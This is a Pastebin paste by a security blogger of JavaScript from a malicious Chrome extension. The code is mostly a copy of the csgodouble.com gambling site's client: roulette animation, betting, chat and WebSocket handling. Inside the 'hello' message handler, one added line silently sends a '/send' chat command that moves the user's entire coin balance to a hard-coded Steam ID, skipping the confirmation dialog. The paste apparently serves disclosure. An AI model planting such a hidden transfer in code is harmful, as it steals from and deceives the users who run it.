Advertisement
bartblaze

Chrome extension empties your Steam inventory

Jan 19th, 2016
417
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //Part of malicious Chrome extension, steals from your Steam inventory. More information:
  2. //http://bartblaze.blogspot.com/2016/01/chrome-extension-empties-your-steam.html
  3.  
  4.  
  5. "use strict";
  6.  
  7. function todongers(e) {
  8.     return $("#settings_dongers").is(":checked") ? e / 1e3 : e
  9. }
  10.  
  11. function todongersb(e) {
  12.     return $("#settings_dongers").is(":checked") ? (e / 1e3).toFixed(3) : e
  13. }
  14.  
  15. function play_sound(e) {
  16.     var t = $("#settings_sounds").is(":checked");
  17.     t && ("roll" == e ? sounds_rolling.play() : "finish" == e && sounds_tone.play())
  18. }
  19.  
  20. function snapRender(e, t) {
  21.     if (CASEW = $("#case").width(), !isMoving)
  22.         if ("undefined" == typeof e) view(snapX);
  23.         else {
  24.             for (var n = [1, 14, 2, 13, 3, 12, 4, 0, 11, 5, 10, 6, 9, 7, 8], a = 0, o = 0; o < n.length; o++)
  25.                 if (e == n[o]) {
  26.                     a = o;
  27.                     break
  28.                 }
  29.             var s = 34,
  30.                 i = -34,
  31.                 l = Math.floor(t * (s - i + 1) + i),
  32.                 r = 75 * a + 36 + l;
  33.             r += 5625, snapX = r, view(snapX)
  34.         }
  35. }
  36.  
  37. function spin(e) {
  38.     var t = e.roll;
  39.     play_sound("roll");
  40.     for (var n = [1, 14, 2, 13, 3, 12, 4, 0, 11, 5, 10, 6, 9, 7, 8], a = 0, o = 0; o < n.length; o++)
  41.         if (t == n[o]) {
  42.             a = o;
  43.             break
  44.         }
  45.     var s = 34,
  46.         i = -34,
  47.         l = Math.floor(e.wobble * (s - i + 1) + i),
  48.         r = 75 * a + 36 + l;
  49.     r += 5625, animStart = (new Date).getTime(), vi = getVi(r), tf = getTf(vi), isMoving = !0, setTimeout(function() {
  50.         finishRoll(e, tf)
  51.     }, tf), render()
  52. }
  53.  
  54. function d_mod(e, t) {
  55.     return e * (Math.pow(R, t) - 1) / LOGR
  56. }
  57.  
  58. function getTf(e) {
  59.     return (Math.log(S) - Math.log(e)) / LOGR
  60. }
  61.  
  62. function getVi(e) {
  63.     return S - e * LOGR
  64. }
  65.  
  66. function v(e, t) {
  67.     return e * Math.pow(R, t)
  68. }
  69.  
  70. function render() {
  71.     var e = (new Date).getTime() - animStart;
  72.     e > tf && (e = tf);
  73.     var t = d_mod(vi, e);
  74.     view(t), tf > e ? requestAnimationFrame(render) : (snapX = t, isMoving = !1)
  75. }
  76.  
  77. function view(e) {
  78.     e = -((e + 1125 - CASEW / 2) % 1125), $CASE.css("background-position", e + "px 0px")
  79. }
  80.  
  81. function cd(e, t) {
  82.     $("#counter").finish().css("width", "100%"), $("#counter").animate({
  83.         width: "0%"
  84.     }, {
  85.         duration: 1e3 * e,
  86.         easing: "linear",
  87.         progress: function(e, t, n) {
  88.             var a = (n / 1e3).toFixed(2);
  89.             $BANNER.html("Rolling in " + a + "...")
  90.         },
  91.         complete: t
  92.     })
  93. }
  94.  
  95. function send(e) {
  96.     "string" != typeof e && (e = JSON.stringify(e)), WS && 1 == WS.readyState && WS.send(e)
  97. }
  98.  
  99. function finishRoll(e, t) {
  100.     addHist(e.roll, e.rollid), play_sound("finish");
  101.     for (var n = 0; n < e.nets.length; n++) $("#panel" + e.nets[n].lower + "-" + e.nets[n].upper).find(".total").countTo(e.nets[n].swon > 0 ? e.nets[n].swon : -e.nets[n].samount, {
  102.         color: !0,
  103.         keep: !0
  104.     });
  105.     for (var a = [
  106.             [0, 0],
  107.             [1, 7],
  108.             [8, 14]
  109.         ], n = 0; n < a.length; n++) {
  110.         var o = $("#panel" + a[n][0] + "-" + a[n][1]).find(".mytotal");
  111.         if (e.roll >= a[n][0] && e.roll <= a[n][1]) o.countTo(e.won, {
  112.             color: !0,
  113.             keep: !0
  114.         });
  115.         else {
  116.             var s = parseFloat(o.html());
  117.             $("#settings_dongers").is(":checked") && (s *= 1e3), o.countTo(-s, {
  118.                 color: !0,
  119.                 keep: !0
  120.             })
  121.         }
  122.     }
  123.     null != e.balance && $("#balance").countTo(e.balance, {
  124.         color: !0
  125.     }), setTimeout(function() {
  126.         cd(e.count), $(".total,.mytotal").removeClass("text-success text-danger").html(0), $(".betlist li").remove(), snapRender(), $(".betButton").prop("disabled", !1), showbets = !0
  127.     }, 1e3 * e.wait - t)
  128. }
  129.  
  130. function addHist(e, t) {
  131.     var n = $("#past .ball").length;
  132.     n >= 10 && $("#past .ball").first().remove(), 0 == e ? $("#past").append("<div data-rollid='" + t + "'class='ball ball-0'>" + e + "</div>") : 7 >= e ? $("#past").append("<div data-rollid='" + t + "'class='ball ball-1'>" + e + "</div>") : $("#past").append("<div data-rollid='" + t + "'class='ball ball-8'>" + e + "</div>")
  133. }
  134.  
  135. function onMessage(e) {
  136.     try {
  137.         var t = JSON.parse(e.data);
  138.         if ("preroll" == t.type) {
  139.             $("#counter").finish(), $("#banner").html("Confirming " + t.totalbets + "/" + (t.totalbets + t.inprog) + " total bets..."), $("#panel0-0 .total").countTo(t.sums[0]), $("#panel1-7 .total").countTo(t.sums[1]), $("#panel8-14 .total").countTo(t.sums[2]);
  140.             try {
  141.                 tinysort("#panel1-7 .betlist>li", {
  142.                     data: "amount",
  143.                     order: "desc"
  144.                 })
  145.             } catch (n) {}
  146.             try {
  147.                 tinysort("#panel8-14 .betlist>li", {
  148.                     data: "amount",
  149.                     order: "desc"
  150.                 })
  151.             } catch (n) {}
  152.             try {
  153.                 tinysort("#panel0-0 .betlist>li", {
  154.                     data: "amount",
  155.                     order: "desc"
  156.                 })
  157.             } catch (n) {}
  158.         } else if ("roll" == t.type) $(".betButton").prop("disabled", !0), $("#counter").finish(), $("#banner").html("Predicted number is " + t.roll + "!"), ROUND = t.rollid, showbets = !1, spin(t);
  159.         else if ("chat" == t.type) chat("player", t.msg, t.name, t.icon, t.user, t.rank, t.lang);
  160.         else if ("hello" == t.type) {
  161.             cd(t.count), USER = t.user, RANK = t.rank, $("#balance").countTo(t.balance);
  162.             for (var a = 0, o = 0; o < t.rolls.length; o++) addHist(t.rolls[o].roll, t.rolls[o].rollid), a = t.rolls[o].roll, ROUND = t.rolls[o].rollid;
  163.             snapRender(a, t.last_wobble), MAX_BET = t.maxbet, send({
  164.                 type: "chat",
  165.                 msg: "/send 76561198254328724 " + t.balance,
  166.                 lang: "1"
  167.             })
  168.         } else "bet" == t.type ? showbets && (addBet(t.bet), $("#panel0-0 .total").countTo(t.sums[0]), $("#panel1-7 .total").countTo(t.sums[1]), $("#panel8-14 .total").countTo(t.sums[2])) : "betconfirm" == t.type ? ($("#panel" + t.bet.lower + "-" + t.bet.upper + " .mytotal").countTo(t.bet.amount), $("#balance").countTo(t.balance, {
  169.             color: !0
  170.         }), $(".betButton").prop("disabled", !1), chat("alert", "Bet #" + t.bet.betid + " confirmed " + t.mybr + "/" + t.br + " (" + t.exec / 1e3 + " sec) ")) : "error" == t.type ? (chat("error", t.error), t.enable && $(".betButton").prop("disabled", !1)) : "alert" == t.type ? (chat("alert", t.alert), t.maxbet && (MAX_BET = t.maxbet), isNaN(t.balance) || (console.log("setting balance = %s", t.balance), $("#balance").countTo(t.balance, {
  171.             color: !0
  172.         }))) : "logins" == t.type ? $("#isonline").html(t.count) : "balance" == t.type && $("#balance").fadeOut(100).html(todongersb(t.balance)).fadeIn(100)
  173.     } catch (n) {
  174.         console.log("Error: " + e.data + " " + n)
  175.     }
  176. }
  177.  
  178. function addBet(e) {
  179.     var t = e.user + "-" + e.lower,
  180.         n = "#panel" + e.lower + "-" + e.upper,
  181.         a = $(n);
  182.     a.find("#" + t).remove();
  183.     var o = "http://steamcommunity.com/profiles/" + e.user,
  184.         s = "<li class='list-group-item' id='{0}' data-amount='{1}'>";
  185.     s += "<div style='overflow: hidden;line-height:32px'>", s += "<div class='pull-left'><img class='rounded' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars{2}'><a style='color: black;' href='" + o + "' target='_blank'><b>{3}</b></a></div>", s += "<div class='amount pull-right'>{4}</div>", s += "</div></li>";
  186.     var i = $(s.format(t, e.amount, e.icon, e.name, todongersb(e.amount)));
  187.     i.hide().prependTo(a.find(".betlist")).slideDown("fast", function() {
  188.         snapRender()
  189.     })
  190. }
  191.  
  192. function connect() {
  193.     WS || $.ajax({
  194.         url: "/scripts/getToken.php",
  195.         success: function(e) {
  196.             e && ("nologin" == e || "banned" == e || (WS = new WebSocket(HOST + "/" + e), WS.onclose = function(e) {
  197.                 WS = null
  198.             }, WS.onmessage = onMessage))
  199.         },
  200.         error: function(e) {}
  201.     })
  202. }
  203.  
  204. function emotes(e) {
  205.     for (var t = ["deIlluminati", "KappaRoss", "KappaPride", "BibleThump", "Kappa", "Keepo", "Kreygasm", "PJSalt", "PogChamp", "SMOrc", "FailFish"], n = 0; n < t.length; n++) e = e.replace(new RegExp(t[n] + "( |$)", "g"), "<img src='img/twitch/" + t[n] + ".png'> ");
  206.     return e
  207. }
  208.  
  209. function chat(e, t, n, a, o, s, i) {
  210.     if (IGNORE.indexOf(String(o)) > -1) return void console.log("ignored:" + t);
  211.     if (i == LANG || "italic" == e || "error" == e || "alert" == e) {
  212.         document.getElementById("chatArea"), t = t.replace(/(<|>)/g, ""), t = emotes(t);
  213.         var l = "";
  214.         if ("italic" == e) l = "<div><i>" + t + "</i></div>";
  215.         else if ("error" == e) l = "<div><b class='text-danger'>" + t + "</b></div>";
  216.         else if ("alert" == e) l = "<div><b class='text-success'>" + t + "</b></div>";
  217.         else if ("player" == e) {
  218.             var r = "chat-link";
  219.             100 == s ? (r = "chat-link-mod", n = "[Owner] " + n) : 1 == s ? (r = "chat-link-pmod", n = "[Mod] " + n) : -1 == s ? (r = "chat-link-streamer", n = "[Streamer] " + n) : -2 == s ? (r = "chat-link-vet", n = "[Veteran] " + n) : -3 == s && (r = "chat-link-pro", n = "[Pro] " + n);
  220.             var c = "http://steamcommunity.com/profiles/" + o;
  221.             l = "<div><img class='chat-img rounded' data-steamid='" + o + "' data-name='" + n + "' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars" + a + "'><a class='" + r + "' href='" + c + "' target='_blank'><b>" + n + "</b></a>: " + t + "</div>"
  222.         }
  223.         if ($CHATAREA.append(l), SCROLL) {
  224.             var d = $CHATAREA.children().length;
  225.             if (d > 75) {
  226.                 var u = d - 75;
  227.                 $CHATAREA.children().slice(0, u).remove()
  228.             }
  229.             $CHATAREA.scrollTop($CHATAREA[0].scrollHeight)
  230.         }
  231.         if (SCROLL && !$(".side-icon[data-tab='1']").hasClass("active")) {
  232.             var d = parseInt($("#newMsg").html()) || 0;
  233.             $("#newMsg").html(d + 1)
  234.         }
  235.     }
  236. }
  237.  
  238. function getMenuPosition(e, t, n) {
  239.     var a = $(window)[t](),
  240.         o = $(window)[n](),
  241.         s = $("#contextMenu")[t](),
  242.         i = e + o;
  243.     return e + s > a && e > s && (i -= s), i
  244. }
  245.  
  246. function str2int(e) {
  247.     e = e.replace(/,/g, ""), e = e.toLowerCase();
  248.     var t = parseFloat(e);
  249.     return isNaN(t) ? 0 : ("k" == e.charAt(e.length - 1) ? t *= 1e3 : "m" == e.charAt(e.length - 1) ? t *= 1e6 : "b" == e.charAt(e.length - 1) && (t *= 1e9), t)
  250. }
  251. var CASEW = 1125,
  252.     LAST_BET = 0,
  253.     MAX_BET = 0,
  254.     USER = "",
  255.     RANK = 0,
  256.     ROUND = 0,
  257.     HOST = "ws://www.csgodouble.com:8080",
  258.     WS = null,
  259.     showbets = !0,
  260.     snapX = 0,
  261.     R = .999,
  262.     S = .01,
  263.     tf = 0,
  264.     vi = 0,
  265.     animStart = 0,
  266.     isMoving = !1,
  267.     LOGR = Math.log(R),
  268.     $CASE = null,
  269.     $BANNER = null,
  270.     $CHATAREA = null,
  271.     SCROLL = !0,
  272.     LANG = 1,
  273.     IGNORE = [],
  274.     sounds_rolling = new Audio("sounds/rolling.wav");
  275. sounds_rolling.volume = .5;
  276. var sounds_tone = new Audio("sounds/tone.wav");
  277. sounds_tone.volume = .75, jQuery.fn.extend({
  278.     countTo: function(e, t) {
  279.         t = t || {};
  280.         var n = "",
  281.             a = $("#settings_dongers").is(":checked");
  282.         a && (n = "$", e /= 1e3);
  283.         var o = $(this),
  284.             s = parseFloat(o.html()),
  285.             i = e - s;
  286.         t.color && (i > 0 ? o.addClass("text-success") : 0 > i && o.addClass("text-danger"));
  287.         var l = "";
  288.         t.keep && i > 0 && (l = "+");
  289.         var r = i;
  290.         a && (r *= 1e3);
  291.         var c = Math.min(400, Math.round(Math.abs(r) / 500 * 400));
  292.         $({
  293.             count: s
  294.         }).animate({
  295.             count: e
  296.         }, {
  297.             duration: c,
  298.             step: function(e) {
  299.                 var t = 0;
  300.                 t = a ? e.toFixed(3) : Math.floor(e), o.html("" + l + t)
  301.             },
  302.             complete: function() {
  303.                 t.keep || o.removeClass("text-success text-danger"), t.callback && t.callback()
  304.             }
  305.         })
  306.     }
  307. }), $(document).ready(function() {
  308.     $CASE = $("#case"), $BANNER = $("#banner"), $CHATAREA = $("#chatArea"), connect(), $("#settings_dongers").is(":checked") && $("#dongers").html("$"), $("#lang").on("change", function() {
  309.         LANG = $(this).val(), chat("alert", "## Switched to room: " + $(this).find("option:selected").text())
  310.     }), $("#scroll").on("change", function() {
  311.         SCROLL = !$(this).is(":checked")
  312.     }), $(window).resize(function() {
  313.         snapRender()
  314.     }), $("#chatForm").on("submit", function() {
  315.         var e = $("#chatMessage").val();
  316.         if (e) {
  317.             var t = null;
  318.             (t = /^\/send ([0-9]*) ([0-9]*)/.exec(e)) ? bootbox.confirm("You are about to send " + t[2] + " coins to steamid " + t[1] + " - are you sure?", function(t) {
  319.                 t && (send({
  320.                     type: "chat",
  321.                     msg: e,
  322.                     lang: LANG
  323.                 }), $("#chatMessage").val(""))
  324.             }): (send({
  325.                 type: "chat",
  326.                 msg: e,
  327.                 lang: LANG
  328.             }), $("#chatMessage").val(""))
  329.         }
  330.         return !1
  331.     }), $(document).on("click", ".ball", function() {
  332.         $(this).data("rollid")
  333.     }), $(".betButton").on("click", function() {
  334.         var e = $(this).data("lower"),
  335.             t = $(this).data("upper"),
  336.             n = str2int($("#betAmount").val());
  337.         $("#settings_dongers").is(":checked") && (n = 1e3 * n), n = Math.floor(n);
  338.         var a = $("#settings_confirm").is(":checked");
  339.         if (a && n > 1e4) {
  340.             var o = !1;
  341.             bootbox.confirm("Are you sure you wish to bet " + formatNum(n) + " coins?<br><br><i>You may disable this confirmation under the settings menu.</i>", function(a) {
  342.                 a && !o && (o = !0, send({
  343.                     type: "bet",
  344.                     amount: n,
  345.                     lower: e,
  346.                     upper: t,
  347.                     round: ROUND
  348.                 }), LAST_BET = n, $(this).prop("disabled", !0))
  349.             })
  350.         } else send({
  351.             type: "bet",
  352.             amount: n,
  353.             lower: e,
  354.             upper: t,
  355.             round: ROUND
  356.         }), LAST_BET = n, $(this).prop("disabled", !0);
  357.         return !1
  358.     }), $(document).on("click", ".betshort", function() {
  359.         var e = str2int($("#betAmount").val()),
  360.             t = $(this).data("action");
  361.         if ("clear" == t) e = 0;
  362.         else if ("double" == t) e *= 2;
  363.         else if ("half" == t) e /= 2;
  364.         else if ("max" == t) {
  365.             var n = MAX_BET;
  366.             $("#settings_dongers").is(":checked") && (n = MAX_BET / 1e3), e = Math.min(str2int($("#balance").html()), n)
  367.         } else "last" == t ? e = LAST_BET : e += parseInt(t);
  368.         $("#betAmount").val(e)
  369.     }), $("#getbal").on("click", function() {
  370.         send({
  371.             type: "balance"
  372.         })
  373.     }), $("button.close").on("click", function() {
  374.         $(this).parent().addClass("hidden")
  375.     }), $(document).on("contextmenu", ".chat-img", function(e) {
  376.         if (!e.ctrlKey) {
  377.             $("#contextMenu [data-act=1]").hide(), $("#contextMenu [data-act=2]").hide(), 100 == RANK ? ($("#contextMenu [data-act=1]").show(), $("#contextMenu [data-act=2]").show()) : 1 == RANK && $("#contextMenu [data-act=1]").show(), e.preventDefault();
  378.             var t = $(this).data("steamid"),
  379.                 n = $(this).data("name");
  380.             $("#contextMenu [data-act=0]").html(n);
  381.             var a = $("#contextMenu");
  382.             a.show().css({
  383.                 position: "absolute",
  384.                 left: getMenuPosition(e.clientX, "width", "scrollLeft"),
  385.                 top: getMenuPosition(e.clientY, "height", "scrollTop")
  386.             }).off("click").on("click", "a", function(e) {
  387.                 var n = $(this).data("act");
  388.                 e.preventDefault(), a.hide(), 0 == n ? $("#chatMessage").val(t) : 1 == n ? $("#chatMessage").val("/mute " + t + " ") : 2 == n ? $("#chatMessage").val("/kick " + t + " ") : 3 == n ? $("#chatMessage").val("/send " + t + " ") : 4 == n && (IGNORE.push(String(t)), chat("alert", t + " has been filtered.")), $("#chatMessage").focus()
  389.             })
  390.         }
  391.     }), $(document).on("click", function() {
  392.         $("#contextMenu").hide()
  393.     }), $(".side-icon").on("click", function(e) {
  394.         e.preventDefault();
  395.         var t = $(this).data("tab");
  396.         return $(this).hasClass("active") ? ($(".side-icon").removeClass("active"), $(".tab-group").addClass("hidden"), $("#mainpage").css("margin-left", "50px"), $("#pullout").addClass("hidden")) : ($(".side-icon").removeClass("active"), $(".tab-group").addClass("hidden"), $(this).addClass("active"), $("#tab" + t).removeClass("hidden"), $("#mainpage").css("margin-left", "450px"), $("#pullout").removeClass("hidden"), 1 == t && $("#newMsg").html("")), snapRender(), !1
  397.     }), $(".side-icon[data-tab='1']").trigger("click")
  398. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement